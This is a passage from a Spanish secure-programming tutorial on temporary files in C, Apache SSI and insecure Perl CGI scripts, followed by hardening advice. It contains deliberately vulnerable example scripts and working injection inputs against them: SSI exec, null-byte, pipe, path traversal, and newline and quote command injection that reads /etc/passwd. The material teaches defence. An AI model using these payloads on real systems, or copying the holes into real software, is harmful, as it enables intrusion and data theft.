manera, luego de la llamada umask(077) el archivo se abrirá en modo 600 (lectura/escritura
para el propietario, sin derechos para el resto de los usuarios).
Generalmente, la creación de archivos temporales se efectúa en tres etapas:
1. se crea un nombre único (al azar) ;
2. se abre el archivo usando O_CREAT | O_EXCL con una política de permisos lo más
restrictiva posible;
3. se verifica el resultado al abrir el archivo y se actúa en consecuencia (ya sea reintentar
o abandonar).
Detallemos ahora las posibilidades que existen para obtener un archivo temporal. Las funciones
#include <stdio.h>
char *tmpnam(char *s);
char *tempnam(const char *dir, const char *prefix);
devuelven punteros a nombres creados al azar.
La primera función admite un argumento NULL en cuyo caso devuelve la dirección de un
búfer estático. Su contenido cambiará en la siguiente llamada de tmpnam(NULL). Si el
argumento es una cadena asignada, el nombre se copia aquí lo que requiere de una cadena de
por lo menos L-tmpnam bytes. ¡Tengan cuidado con los desbordamientos de búfer! La página
del manual informa acerca de problemas cuando se usa esta función con el parámetro NULL si
se definen _POSIX_THREADS o _POSIX_THREAD_SAFE_FUNCTIONS.
La función tempnam() devuelve un puntero a una cadena. El directorio dir debe ser "apropiado"
(la página man describe el significado exacto de la palabra "apropiado"). Esta función verifica
que el archivo no exista antes de devolver su nombre. Sin embargo, una vez más la página del
manual (man) no recomienda su uso pues el término "apropiado" puede tener diferentes
significados según las implementaciones de la función. Mencionemos que Gnome recomienda
su uso de la siguiente manera :
char *filename;
int fd;
do {
filename = tempnam (NULL, "foo");
fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600);
free (filename);
} while (fd == -1);
El uso del bucle reduce algunos riesgos pero crea otros. Imaginen lo que sucedería si la
partición donde se desea crear el archivo temporal estuviese llena o si el sistema ya hubiera
abierto el número máximo de archivos disponible a la vez...
La función
#include <stdio.h>
FILE *tmpfile (void);
crea un único nombre de archivo y lo abre. Este archivo se borra automáticamente al cerrarlo.
En GlibC-2.1.3, esta función usa un mecanismo similar a tmpnam() para generar el nombre del
archivo y abrir el correspondiente descriptor. El archivo luego es eliminado, pero Linux
realmente no lo borrará sino hasta que ningún recurso lo utilice, es decir, cuando el descriptor
del archivo se libere a través de la llamada al sistema close().
FILE * fp_tmp;
if ((fp_tmp = tmpfile()) == NULL) {
fprintf (stderr, "No es posible crear un archivo temporal\n");
exit (EXIT_FAILURE);
}
/* ... uso del archivo temporal ... */
fclose (fp_tmp); /* verdadera eliminación del archivo por el sistema */
Los casos más sencillos no requieren del cambio del nombre del archivo ni la transmición a
otro proceso, sino únicamente del almacenamiento y de la relectura de datos en un área
temporal. Por lo tanto, generalmente no se necesita conocer el nombre del archivo temporal
sino sólo acceder a su contenido. La función tmpfile() hace precisamente esto.
La página del manual no desaconseja su uso pero sí lo hace el Secure-Programs-HOWTO.
Según el autor, las especificaciones no garantizan la creación del archivo y no ha podido
verificar cada implementación. A pesar de esta reserva, esta función es la más eficiente.
Por último, las funciones
#include <stdlib.h>
char *mktemp(char *template);
int mkstemp(char *template);
crean un único nombre desde una plantilla que consta de una cadena que termina con la cadena
"XXXXXX". Estas 'Xs' se reemplazan para obtener un nombre de archivo único.
Segun las distintas versiones, mktemp() reemplaza las primeras cinco 'X' con el ID del proceso
(PID) ...lo que hace fácil suponer el nombre ya que únicamente la última 'X' es aleatoria.
Algunas versiones permiten más de seis 'X'.
El Secure-Programs-HOWTO recomienda el uso de la función
mkstemp() Aquí está el método propuesto:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
void failure(msg) {
fprintf(stderr, "%s\n", msg);
exit(1);
}
/*
* Crea un archivo temporal y lo devuelve
* Esta rutina elimina el nombre del archivo del sistema de archivos
* con lo cual no volverá a aparecer al listar el contenido del directorio.
*/
FILE *create_tempfile(char *temp_filename_pattern)
{
int temp_fd;
mode_t old_mode;
FILE *temp_file;
/* Crea un archivo con permisos restrictivos */
old_mode = umask(077);
temp_fd = mkstemp(temp_filename_pattern);
(void) umask(old_mode);
if (temp_fd == -1) {
failure("No se pudo abrir el archivo temporal");
}
if (!(temp_file = fdopen(temp_fd, "w+b"))) {
failure("No se pudo crear el descriptor del archivo temporal");
}
if (unlink(temp_filename_pattern) == -1) {
failure("No se pudo eliminar el enlace al archivo temporal");
}
return temp_file;
}
Estas funciones muestran los problemas relacionados con la abstracción y portabilidad. Es
decir, se espera que las funciones de la biblioteca estándar proporcionen características
(abstracción)...pero la forma de implementarlas varía según el sistema empleado (portabilidad).
Por ejemplo, la función tmpfile() abre un archivo temporal de distintas maneras (algunas
versiones no usan O_EXCL) o mkstemp() maneja un número variable de 'X' de acuerdo a
determinadas implementaciones.
Conclusión
Hemos analizado la mayoría de los problemas de seguridad relacionados con los accesos
concurrentes a un mismo recurso. Tengamos presente que nunca se debe suponer que dos
operaciones consecutivas siempre se procesan en forma secuencial en la CPU a menos que el
kernel lo considere así. Si bien las condiciones de carrera generan agujeros de seguridad no se
deben despreciar los que se basan en otros recursos como las variables comunes entre
diferentes hebras o los segmentos de memoria compartidos por intermedio de los mecanismos
shmget(). Se deben implementar mecanismos de selección de accesos (mediante semáforos, por
ejemplo) para evitar fallas difíciles de diagnosticar.
PARTE V - Servidor Web, URI y problemas
de configuración
Introducción (demasiado breve) sobre como trabaja un
servidor web y como construir una URI
Cuando un cliente pide un archivo HTML, el servidor envía la página pedida (o un mensaje de
error). El navegador interpreta el código HTML para formatear y visualizar el fichero. Para
poner
un
ejemplo,
escribiendo
la
URL
(Uniform
Request
Locator)
http://www.linuxdoc.org/HOWTO/HOWTO-INDEX/howtos.html, el cliente se conecta al
servidor www.linuxdoc.org y pide la página /HOWTO/HOWTO-INDEX/howtos.html,
utilizando el protocolo HTTP. Si la página existe, el servidor envía el archivo pedido. Con este
modelo estático, si el archivo está presente en el servidor , éste es enviado "tal y como es" al
cliente, de otra forma un mensaje de error es enviado (el bien conocido 404 - Not Found).
Desgraciadamente, esto no permite la interactividad con el usuario. De este modo cosas
como e-negocios, e-reservas para vacaciones o e-loquesea no es posible.
Afortunadamente, hay soluciones para generar dinámicamente páginas HTML. Los scripts CGI
(Common Gateway Interface) son una de ellas. En este caso, la URL para acceder a estas
páginas es construida de forma ligeramente diferente:
http://<servidor><pathHaciaScript>[?[param_1=val_1][...][&param_n=val_n]]
La lista de argumentos es guardada en la variable de entorno QUERY_STRING. En este
contexto, un script CGI no es nada más que un archivo ejecutable. Utiliza stdin (standard input)
o la variable de entorno QUERY_STRING para obtener los argumentos que le pasan. Después
de ejecutar el código, el resultado es mostrado en stdout (standard output) y luego, redirigido al
cliente web. Casi todos los lenguajes de programación pueden ser usados para escribir un script
CGI (un programa compilado en C, Perl, shell-scripts...).
Por ejemplo, permítame buscar qué es lo que los HOWTOs de www.linuxdoc.org conocen
sobre ssh :
http://www.linuxdoc.org/cgi-bin/ldpsrch.cgi?
svr=http%3A%2F%2Fwww.linuxdoc.org&srch=ssh&db=1&scope=0&rpt=20
De hecho, esto es mucho más simple de lo que parece. Vamos a analizar esta URL :
●
●
●
el servidor es aún el mismo www.linuxdoc.org ;
el archivo pedido, el script CGI, es llamado /cgi-bin/ldpsrch.cgi ;
el carácter ? es el comienzo de una larga lista de argumentos :
1. srv=http%3A%2F%2Fwww.linuxdoc.org es el servidor de donde viene la
petición;
2. srch=ssh contiene la petición en sí;
3. db=1 significa que la petición solo se refiere a HOWTOs;
4. scope=0 significa que la petición se refiere al contenido del documento y no
solo a su título;
5. rpt=20 limita a 20 el número de respuestas visualizadas.
Frecuentemente, los nombres de los argumentos y sus valores son suficientemente
explícitos como para entender su significado. Además, el contenido de la página que
muestra las respuestas puede ser significativas.
Ahora sabemos que el lado brillante de los scripts CGI es la habilidad que tiene un usuario para
pasar argumentos... pero el lado oscuro es que un script mal programado abre un agujero de
seguridad.
Probablemente habrás notado caracteres extraños en tu navegador o presentes dentro de la
petición previa. Estos caracteres están en formato Unicode. La tabla 1 muestra el significado de
algunos de estos códigos. Permíteme mencionar que algunos servidores IIS4.0 y IIS5.0 tienen
una vulnerabilidad basada en estos caracteres.
Configuración de Apache con "SSI Server Side
Include"
Server Side Include es una función parte de los servidores web. Permite integrar instrucciones
dentro de las páginas web, incluir un fichero "tal y como es", o ejecutar un comando (shell o
script CGI).
En el fichero de configuración del Apache httpd.conf, la instrucción "AddHandler serverparsed .shtml" activa este mecanismo. Frecuentemente, para evitar la distinción entre .html and
.shtml, uno puede añadir la extensión .html. Evidentemente, esto ralentiza el servidor... Esto
puede ser controlado a nivel de directorios con las instrucciones:
●
●
Options Includes activa todos los SSI ;
OptionsIncludesNoExec prohibe exec cmd y exec cgi.
En el script adjunto LibroDeInvitados.cgi, el texto proporcionado por el usuario es incluido en
un archivo HTML, sin la conversión de caracteres de '<' y '>' hacia los códigos HTML < and
> . Suficiente para que una persona curiosa envie una de las siguientes instrucciones :
●
<!--#printenv --> (recuerda el espacio después de printenv )
●
<!--#exec cmd="cat /etc/passwd"-->
Con el primero,
LibroDeInvitados.cgi?email=pappy&texte=%3c%21--%23printenv%20--%3e
obtienes algunas líneas de información sobre el sistema :
DOCUMENT_ROOT=/home/web/sites/www8080
HTTP_ACCEPT=image/gif, image/jpeg, image/pjpeg, image/png, */*
HTTP_ACCEPT_CHARSET=iso-8859-1,*,utf-8
HTTP_ACCEPT_ENCODING=gzip
HTTP_ACCEPT_LANGUAGE=en, fr
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=www.esiea.fr:8080
HTTP_PRAGMA=no-cache
HTTP_REFERER=http://www.esiea.fr:8080/~grenier/cgi/LibroDeInvitados.cgi?
email=&texte=%3C%21--%23include+file%3D%22LibroDeInvitados.cgi%22--%3E
HTTP_USER_AGENT=Mozilla/4.76 [fr] (X11; U; Linux 2.2.16 i686)
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
REMOTE_ADDR=194.57.201.103
REMOTE_HOST=nef.esiea.fr
REMOTE_PORT=3672
SCRIPT_FILENAME=/mnt/c/nef/grenier/public_html/cgi/LibroDeInvitados.html
SERVER_ADDR=194.57.201.103
[email protected]
SERVER_NAME=www.esiea.fr
SERVER_PORT=8080
SERVER_SIGNATURE=<ADDRESS>Apache/1.3.14 Server www.esiea.fr Port
8080</ADDRESS>
SERVER_SOFTWARE=Apache/1.3.14 (Unix) (Red-Hat/Linux) PHP/3.0.18
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.0
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/~grenier/cgi/LibroDeInvitados.html
SCRIPT_NAME=/~grenier/cgi/LibroDeInvitados.html
DATE_LOCAL=Tuesday, 27-Feb-2001 15:33:56 CET
DATE_GMT=Tuesday, 27-Feb-2001 14:33:56 GMT
LAST_MODIFIED=Tuesday, 27-Feb-2001 15:28:05 CET
DOCUMENT_URI=/~grenier/cgi/LibroDeInvitados.shtml
DOCUMENT_PATH_INFO=
USER_NAME=grenier
DOCUMENT_NAME=LibroDeInvitados.html
La instrucción exec, suministra casi lo mismo que una shell :
LibroDeInvitados.cgi?email=ppy&texte=%3c%21-%23exec%20cmd="cat%20/etc/passwd"%20--%3e
No intentes "<!--#include file="/etc/passwd"-->", el path es relativo al directorio donde puedes
encontrar el fichero HTML y no puede contener "..". El fichero de Apache error_log ,
contendrá un mensaje indicando un intento de acceso a un fichero prohibido . El usuario podrá
ver el mensaje [an error occurred while processing this directive] en la página HTML.
SSI no es necesario frecuentemente y es mejor desactivarlo del servidor. Sin embargo, la causa
del problema es la combinación entre la aplicación mal programada LibroDeInvitados y SSI.
Scripts en Perl
En esta sección, vamos a presentar los agujeros de seguridad relacionados con los scripts CGI
escritos en Perl. Para hacerlo mas claro, no daremos todo el código sino solamente las partes
requeridas para entender el problema.
Cada uno de nuestros scripts está programado siguiendo la plantilla siguiente :
#!/usr/bin/perl -wT
BEGIN { $ENV{PATH} = '/usr/bin:/bin' }
delete @ENV{qw(IFS CDPATH ENV BASH_ENV)}; # Hacemos %ENV más segura =:-)
print "Content-type: text/html\n\n";
print "<HTML>\n<HEAD>";
print "<TITLE>Comando remoto</TITLE></HEAD>\n";
&ReadParse(\%input);
# Podemos usar $input por ejemplo así:
# print "<p>$input{archivo}</p>\n";
# ########################################## #
# Principio de la descripción del problema #
# ########################################## #
# #################################### #
# Fin de la descripción del problema #
# #################################### #
form:
print "<form action=\"$ENV{ÑOMBRE_DEL_SCRIPT'}\">\n";
print "<input type=texto name=archivo>\n </form>\n";
print "</BODY>\n";
print "</HTML>\n";
exit(0);
# el primer argumento tiene que ser una referencia a un hash
# El hash será rellenado con datos.
sub ReadParse($) {
my $in=shift;
my ($i, $key, $val);
my $in_primero;
my @in_segundo;
# Leer en texto
if ($ENV{'REQUEST_METHOD'} eq "GET") {
$in_first = $ENV{'QUERY_STRING'};
} elsif ($ENV{'REQUEST_METHOD'} eq "POST") {
read(STDIN,$in_primero,$ENV{'CONTENT_LENGTH'});
}else{
die "ERROR: Método de petición desconocido\n";
}
@in_segundo = split(/&/,$in_primero);
foreach $i (0 .. $#in_segundo) {
# Convertir los caracteres + en espacios
$in_segundo[$i] =~ s/\+/ /g;
# Partir entre la clave y el valor.
($key, $val) = split(/=/,$in_segundo[$i],2);
# Convertir %XX de números hexadecimales a alfanuméricos
$key =~ s/%(..)/pack("c",hex($1))/ge;
$val =~ s/%(..)/pack("c",hex($1))/ge;
# Asociar una clave con un valor
# \0 es el separador múltiple
$$in{$key} .= "\0" if (defined($$in{$key}));
$$in{$key} .= $val;
}
return length($#in_segundo);
}
Después vamos a aprender más sobre los argumentos pasados al intérprete Perl (-wT).
Empezamos limpiando las variables de entorno $ENV y $PATH y enviamos seguidamente la
cabecera HTML (esto es parte del protocolo html implementado por el navegador cliente y el
servidor. Aunque no podamos verlo desde el lado del cliente). La función ReadParse() lee los
argumentos pasados al script. Esto puede hacerse más facilmente con módulos, pero así
podemos ver el código entero. Ahora vamos a presentar algunos ejemplos.
El byte null
Perl considera cada carácter de la misma forma, cosa que difiere de las funciones en C, por
ejemplo. En Perl, el carácter null al final de una cadena (string) es como cualquier otro. Qué
implica eso ?
Vamos a añadir el siguiente código a nuestro script para crear showhtml.cgi :
# showhtml.cgi
my $archivo= $input{archivo}.".html";
print "<BODY>Archivo : $archivo<BR>";
if (-e $archivo) {
open(FILE,"$archivo") || goto form;
print <FILE>;
}
La función ReadParse() obtiene el único argumento : el nombre del archivo a mostrar. Para
prevenir que se pueda leer algo más que ficheros HTML, añadimos la extensión ".html" al final
del nombre del fichero. Pero, recuerda, el carácter null es como cualquiera otro...
De este modo, si nuestra petición es showhtml.cgi?archivo=%2Fetc%2Fpasswd%00 el archivo
es llamado my $archivo = "/etc/passwd\0.html" y nuestros pasmados ojos estarán mirando algo
que no parece HTML.
Qué es lo que pasa ? El comando strace nos muestra como Perl abre un fichero:
/tmp >>cat >open.pl << EOF
> #!/usr/bin/perl
> open(FILE, "/etc/passwd\0.html");
> EOF
/tmp >>chmod 0700 open.pl
/tmp >>strace ./open.pl 2>&1 | grep open
execve("./open.pl", ["./open.pl"], [/* 24 vars */]) = 0
...
open("./open.pl", O_RDONLY)
=3
read(3, "#!/usr/bin/perl\n\nopen(FILE, \"/et"..., 4096) = 51
open("/etc/passwd", O_RDONLY)
=3
El último open() presentado por strace corresponde a la llamada de sistema escrita en C. Como
podemos ver la extensión .html ha desaparecido, y esto nos permite abrir /etc/passwd.
Este problema es solucionado con una expresión regular muy simple que borre todos los
caracteres null:
s/\0//g;
Utilizando pipes (tuberías)
Aquí tenemos un script sin protección alguna que muestra un archivo especificado del árbol de
directorios /home/httpd/ :
#pipe1.cgi
my $archivo= "/home/httpd/".$input{archivo};
print "<BODY>File : $archivo<BR>";
open(FILE,"$archivo") || goto form;
print <FILE>;
No vayais a reíros con este ejemplo! He visto cosas parecidas en muchos scripts.
El primer exploit es obvio :
pipe1.cgi?archivo=..%2F..%2F..%2Fetc%2Fpasswd
Suficiente para "subir" al árbol de directorios y acceder a cualquier fichero. Pero hay algo
mucho más interesante : ejecutar el comando que tú escojas. En Perl, el comando open(FILE,
"/bin/ls") abre el archivo binario "/bin/ls" ... pero open(FILE, "/bin/ls |") ejecuta dicho
comando. Añadiendo un simple pipe | cambia la conducta de open().
Otro problema viene del hecho que la existencia del archivo no es testeada, esto nos permite
ejecutar cualquier comando y además pasarle argumentos:
pipe1.cgi?archivo=..%2F..%2F..%2Fbin%2Fcat%20%2fetc%2fpasswd%20|
muestra el contenido del fichero de passwords.
Testeando la existencia del archivo da menos libertad a open :
#pipe2.cgi
my $archivo= "/home/httpd/".$input{archivo};
print "<BODY>File : $archivo<BR>";
if (-e $archivo) {
open(FILE,"$archivo") || goto form;
print <FILE>
} else {
print "-e fallado: el fichero no existe\n";
}
Aquí el ejemplo anterior ya no funciona. El test "-e" falla ya que no encuentra el archivo
"../../../bin/cat /etc/passwd |".
Vamos a probar el comando /bin/ls. Su conducta será la misma que antes. Eso es, si intentamos,
por ejemplo de listar el contenido del directorio /etc , "-e" testea la existencia del fichero
"../../../bin/ls /etc |", que no existe. Como no suministremos el nombre de un fichero "fantasma"
no vamos a obtener nada interesante :(
Sin embargo, aún hay alguna alternativa. El fichero /bin/ls existe (en la mayoría de los
sistemas) y pasaría el chequeo, pero si open() es llamado con este nombre de archivo se
mostraría el archivo binario, pero no se ejecutaría. Debemos buscar una solución para poner
una tubería (pipe) '|' al final del nombre, pero que no sea testeado con "-e". Ya conocemos la
solución : el byte null. Si enviamos "../../../bin/ls\0|" , el test de existencia pasa ya que solo
considera "../../../bin/ls", pero open() puede ver el pipe y luego ejecuta el comando. Así que la
URL que suministra el contenido del directorio actual es:
pipe2.cgi?archivo=../../../bin/ls%00|
Salto de línea
El script finger.cgi ejecuta la instrucción finger en nuestra máquina :
#finger.cgi
print "<BODY>";
$login = $input{'login'};
$login =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;
print "Login $login<BR>\n";
print "Finger<BR>\n";
$CMD= "/usr/bin/finger $login|";
open(FILE,"$CMD") || goto form;
print <FILE>
Este script utiliza, como mínimo, una protección útil: tiene en cuenta algunos caracteres
extraños para prevenir que sean interpretados por la shell poniendo un '\' delante. Así, el punto
y coma es cambiado a "\;" por la expresión regular. Pero la lista no contiene todos los
caracteres importantes. Entre otros, el salto de línea '\n'.
En tu shell preferida puedes validar una instrucción pulsando la tecla RETURN o ENTER , que
envía el carácter '\n'. En Perl, puedes hacer lo mismo. Ya hemos visto como la instrucción
open() nos permite ejecutar un comando cuando la línea termina con un pipe '|'.
Para simular este comportamiento es suficiente con añadir un salto de línea y una instrucción ,
después de enviar el login al comando finger :
finger.cgi?login=kmaster%0Acat%20/etc/passwd
Hay otros caracteres interesantes para ejecutar varias instrucciones en una sola línea:
●
●
; : acaba con la primera instrucción y va a ejecutar la próxima ;
&& : si la primera instrucción no falla (por ejemplo, devuelve un 0), la próxima va a
ser ejecutada;
● || : si la primera instrucción falla (por ejemplo, devuelve un valor no null), luego la
próxima es ejecutada.
Estos no funcionan aquí ya que el script está protegido de ellos gracias a la expresión regular.
Pero, vamos a buscar soluciones.
La barra invertida y el punto y coma
El script finger.cgi previo evita problemas con algunos caracteres extraños. Así, la URL
<finger.cgi?login=kmaster;cat%20/etc/passwd no resulta ya que el punto y coma es evitado.
Sin embargo, hay un carácter que no está protegido: la barra invertida '\'.
Imaginemos por un momento un script que evite la ascensión en el árbol de directorios
utilizando la expresión regular s/\.\.//g para desembarazarnos de "..". No importa! Las shells
pueden manejar varios '/' a la vez (simplemente prueba cat ///etc//////passwd para quedar
convencido).
Por ejemplo, en el script anterior pipe2.cgi, la variable $fichero es inicializada con el prefijo
"/home/httpd/". Parece que usando esta expresión regular sería suficiente para evitar la
ascensión en el árbol de directorios. Evidentemente, esta expresión protege a "..", pero qué pasa
si nosotros protegemos el carácter '.' ? Eso es, la expresión regular no concuerda si el nombre
del fichero es .\./.\./etc/passwd. En realidad, esta cadena funciona bien con la llamada system()
(o con ` ... `), pero falla con open() o el test "-e".
Vamos atrás con el script finger.cgi. Utilizando el punto y coma la URL
finger.cgi?login=kmaster;cat%20/etc/passwd no da el resultado esperado ya que el punto y
coma es filtrado por la expresión regular. Eso es, la shell recibe la instrucción:
/usr/bin/finger kmaster\;cat /etc/passwd
Los siguientes errores son encontrados en los logs del servidor web :
finger: kmaster;cat: no such user.
finger: /etc/passwd: no such user.
Estos mensajes son idénticos a los que obtendrías si lo escribieses en una shell. El problema
viene del hecho que la shell considera el carácter protegido ';' como parte de la cadena
"kmaster;cat" .
Necesitamos separar las dos instrucciones, la primera para el script y la siguiente que queremos
ejecutar. Debemos proteger ';' : <A HREF="finger.cgi?login=kmaster\;cat%20/etc/passwd">
finger.cgi?login=kmaster\;cat%20/etc/passwd</A>. La cadena "\; es cambiada en el script por
"\\;", y luego, enviada a la shell. Éste lee lo siguiente :
/usr/bin/finger kmaster\\;cat /etc/passwd
La shell divide la cadena en dos:
1. /usr/bin/finger kmaster\ que probablemente fallará... no sufras por eso ;-)
2. cat /etc/passwd que mostrará el fichero de passwords.
La solución es simple : el carácter barra invertida '\' también debe ser filtrado.
Utilizando un carácter " no protegido
A veces, el parámetro es "protegido" con comillas. Hemos cambiado ligeramente el script
previo finger.cgi para proteger la variable $login.
Sin embargo, si las comillas no son filtradas sera una consideración inútil. Suficiente con
añadir una en nuestra petición. Así, la primera comilla " enviada, cierra la abierta por el script.
Luego, escribes el comando, y la segunda comilla abriendo la última (que cerraría) del script.
El script finger2.cgi ilustra la idea :
#finger2.cgi
print "<BODY>";
$login = $input{'login'};
$login =~ s/\0//g;
$login =~ s/([<>\*\|`&\$!#\(\)\[\]\{\}:'\n])/\\$1/g;
print "Login $login<BR>\n";
print "Finger<BR>\n";
#Nueva (in)eficiente super protección :
$CMD= "/usr/bin/finger \"$login\"|";
open(FILE,"$CMD") || goto form;
while(<FILE>) {
print;
}
La URL que ejecutará el comando se convierte en :
finger2.cgi?login=kmaster%22%3Bcat%20%2Fetc%2Fpasswd%3B%22
La shell recibe el comando /usr/bin/finger "$login";cat /etc/passwd"" y las comillas ya no serán
un problema.
Recuerda que si quieres proteger los parámetros de tu script con comillas, debes filtrarlos igual
que la barra invertida o el punto y coma.
Programando en Perl
Opciones de Warning y tainting
Cuando programemos en Perl es aconsejable la opción w o "use warnings;" (Perl 5.6.0 y
siguientes) ya que nos informará sobre problemas potenciales como variables no inicializadas o
expresiones/funciones obsoletas.
La opción T (taint mode) proporciona mayor seguridad. Este modo activa varios tests. El más
importante concierne a una posible corrupción (tainting) de las variables. Las variables pueden
estar limpias o posiblemente corruptas. Los datos que provienen del exterior del programa son
considerados corruptos hasta que no hayan sido limpiadas. Las variables que pueden ser
corruptas no se pueden asignar a objetos que serán usados en el exterior del programa
(llamadas a otros comandos de la shell).
En taint mode, los argumentos de la línea de comandos, las variables de entorno, algunos
resultados de llamadas de sistema (readdir(), readlink(), readdir(), ...) y los datos que provienen
de archivos, son considerados sospechosos y por lo tanto son vigilados.
Para limpiar una variable debes pasarla a través de una expresión regular. Evidentemente,
utilizar .* es inútil. El objetivo es forzarte a tener en cuenta los argumentos proporcionados.
Debemos intentar utilizar siempre una expresión regular lo más específica posible.
No obstante, este modo no protege de todo: no se vigilan los argumentos pasados a system() o
exec() como una lista de variables. Debemos ser muy cuidadosos cuando uno de nuestros
scripts utilize estas funciones. Las instrucciones exec "sh", '-c', $arg; son consideradas como
seguras, esté como esté $arg :(
También es recomendado "use strict;" al principio de tus programas. Así forzamos la
obligación de declarar todas las variables; algunas personas pueden encontrarlo molesto pero es
obligatorio cuando utilizemos mod-perl.
De este modo, tus scripts en Perl deben empezar así :
#!/usr/bin/perl -wT
use strict;
use CGI;
con Perl 5.6.0 :
#!/usr/bin/perl -T
use warnings;
use strict;
use CGI;
La llamada open()
Muchos programadores abren un fichero simplemente utilizando open(FILE,"$fichero") || ....
Ya hemos visto los riesgos de este código. Para reducir este riesgo es suficiente con especificar
el modo para abrirlo:
●
●
open(FILE,"<$fichero") || ... para solo lectura;
open(FILE,">$fichero") || ... para solo escritura
En efecto, no abras tus ficheros de forma mal especificada.
Antes de acceder a un fichero es recomendable chequear si éste existe. Esto no evita las
condiciones de carrera presentadas en el artículo anterior, pero es útil respecto a algunos trucos
como comandos con sus argumentos.
if ( -e $fichero ) { ... }
Desde la versión de Perl 5.6, hay una nueva sintaxis para la llamada open() :
open(FILEHANDLE,MODO,LISTA). Con el modo '<' , el fichero se abre para lectura; con '>' ,
el fichero es truncado o creado si es necesario, y abierto para escritura. Hay un par de modos
muy interesantes para la comunicación con otros procesos. Si el modo es '|-' o '-|', el argumento
LISTA es interpretado como un comando y es respectivamente encontrado antes o después de
la tubería.
Antes de Perl 5.6 y open() con tres argumentos, algunas personas utilizaban el comando
sysopen().
Filtrando la entrada
Existen dos métodos : Podemos especificar los caracteres prohibidos, o definir explícitamente
los carecteres permitidos utilizando expresiones regulares. Los programas de ejemplo te habrán
convencido que es muy fácil olvidarse de filtrar caracteres que pueden ser potencialmente
peligrosos, es por esta razón que el segundo método es recomendado.
Prácticamente, lo que hacemos es lo siguiente : primero, chequeamos si la petición contiene
sólo caracteres permitidos. Luego, filtramos los caracteres considerados como peligrosos entre
los permitidos.
#!/usr/bin/perl -wT
# filtro.pl
#
#
#
#
#
Las variables $seguro y $peligroso definen respectivamente
los caracteres sin riesgo y los arriesgados.
Es suficiente con añadir/quitar algunos para cambiar el filtro.
Solamente la entrada $input que contenga los caracteres incluídos en
las definiciones es válida.
use strict;
my $input = shift;
my $seguro = '\w\d';
my $peligroso = '&`\'\\|"*?~<>^(){}\$\n\r\[\]';
#Note:
# '/', espacio y tab no son parte de las definiciones
if ($input =~ m/^[$seguro$peligroso]+$/g) {
$input =~ s/([$peligroso]+)/\\$1/g;
} else {
die "Hay caracteres no permitidos en la entrada $input\n";
}
print "input = [$input]\n";
Este script define dos conjuntos de caracteres :
●
●
$seguro contiene los caracteres no prohibidos (en este caso, sólo números y letras);
$peligroso contiene los caracteres permitidos, pero que pueden ser potencialmente
peligrosos; deberán ser filtrados.
Cualquier petición que contenga un caracter que no esté presente en uno de los dos conjuntos
deberá ser immediatamente descartado.
Ejercicio: El programa LibroDeInvitados.cgi defectuoso
#!/usr/bin/perl -w
# LibroDeInvitados.cgi
BEGIN { $ENV{PATH} = '/usr/bin:/bin' }
delete @ENV{qw(IFS CDPATH ENV BASH_ENV)}; # Hacemos %ENV más seguro =:-)
print "Content-type: text/html\n\n";
print "<HTML>\n<HEAD><TITLE>Libro De Visitas Peligroso
</TITLE></HEAD>\n";
&ReadParse(\%input);
my $email= $input{email};
my $texto= $input{texto};
$texto =~ s/\n/<BR>/g;
print "<BODY><A HREF=\"LibroDeInvitados.html\">
GuestBook </A><BR><form
action=\"$ENV{'SCRIPT_NAME'}\">\n
Email: <input type=texto name=email><BR>\n
Texte:<BR>\n<textarea name=\"texto\" rows=15 cols=70>
</textarea><BR><input type=submit value=\"Adelante!\">
</form>\n";
print "</BODY>\n";
print "</HTML>";
open (FILE,">>LibroDeInvitados.html") || die ("No es posible la escritura\n");
print FILE "Email: $email<BR>\n";
print FILE "Texto: $texto<BR>\n";
print FILE "<HR>\n";
close(FILE);
exit(0);
sub ReadParse {
my $in =shift;
my ($i, $key, $val);
my $in_first;
my @in_second;
# Read in text
if ($ENV{'REQUEST_METHOD'} eq "GET") {
$in_first = $ENV{'QUERY_STRING'};
} elsif ($ENV{'REQUEST_METHOD'} eq "POST") {
read(STDIN,$in_first,$ENV{'CONTENT_LENGTH'});
}else{
die "ERROR: Método de petición desconocido\n";
}
@in_second = split(/&/,$in_first);
foreach $i (0 .. $#in_second) {
# Convertir los + en espacios
$in_second[$i] =~ s/\+/ /g;
# Dividir entre la clave y el valor.
($key, $val) = split(/=/,$in_second[$i],2);
# Convertir los números hexadecimales %XX a alfanuméricos
$key =~ s/%(..)/pack("c",hex($1))/ge;
$val =~ s/%(..)/pack("c",hex($1))/ge;
# Asociar una clave con su valor.
$$in{$key} .= "\0" if (defined($$in{$key}));
$$in{$key} .= $val;
}
return length($#in_second);
}
Scripts PHP
No querría ser polémico pero creo que es mejor escribir scripts en PHP que no en Perl. Más
exactamente, como administrador de sistemas, prefiero que mis usuarios escriban scripts con
lenguaje PHP que no en Perl. Cualquiera que programe mal - o de forma insegura - en PHP
puede dejar un agujero de seguridad igual de peligroso que en Perl. Si es así, porqué prefiero
PHP? Pués porqué en este lenguaje puedes activar un Modo Seguro (Safe mode) cuando haya
problemas de programación (safe_mode=on) o desactivar funciones peligrosas
(disable_functions=...). Este modo impide acceder a ficheros que no sean propiedad del
usuario, o cambiar variables de entorno sin que esté explícitamente permitido, ejecutar
comandos, etc.
Por defecto el banner de Apache nos informa sobre la versión de PHP que estamos usando.
$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Tue, 03 Apr 2001 11:22:41 GMT
Server: Apache/1.3.14 (Unix) (Red-Hat/Linux) mod_ssl/2.7.1
OpenSSL/0.9.5a PHP/4.0.4pl1 mod_perl/1.24
Connection: close
Content-Type: text/html
Connection closed by foreign host.
Suficiente con escribir expose_PHP = Off en /etc/php.ini para esconder dicha información :
Server: Apache/1.3.14 (Unix) (Red-Hat/Linux) mod_ssl/2.7.1
OpenSSL/0.9.5a mod_perl/1.24
El fichero /etc/php.ini (PHP4) o /etc/httpd/php3.ini tiene muchos parámetros que permiten
hacer el sistema más robusto. Por ejemplo, la opción "magic_quotes_gpc" añade unas comillas
en los argumentos recibidos por los métodos GET, POST y vía cookies; esto soluciona algunos
problemas de seguridad que nos hemos encontrado con Perl.
Conclusión
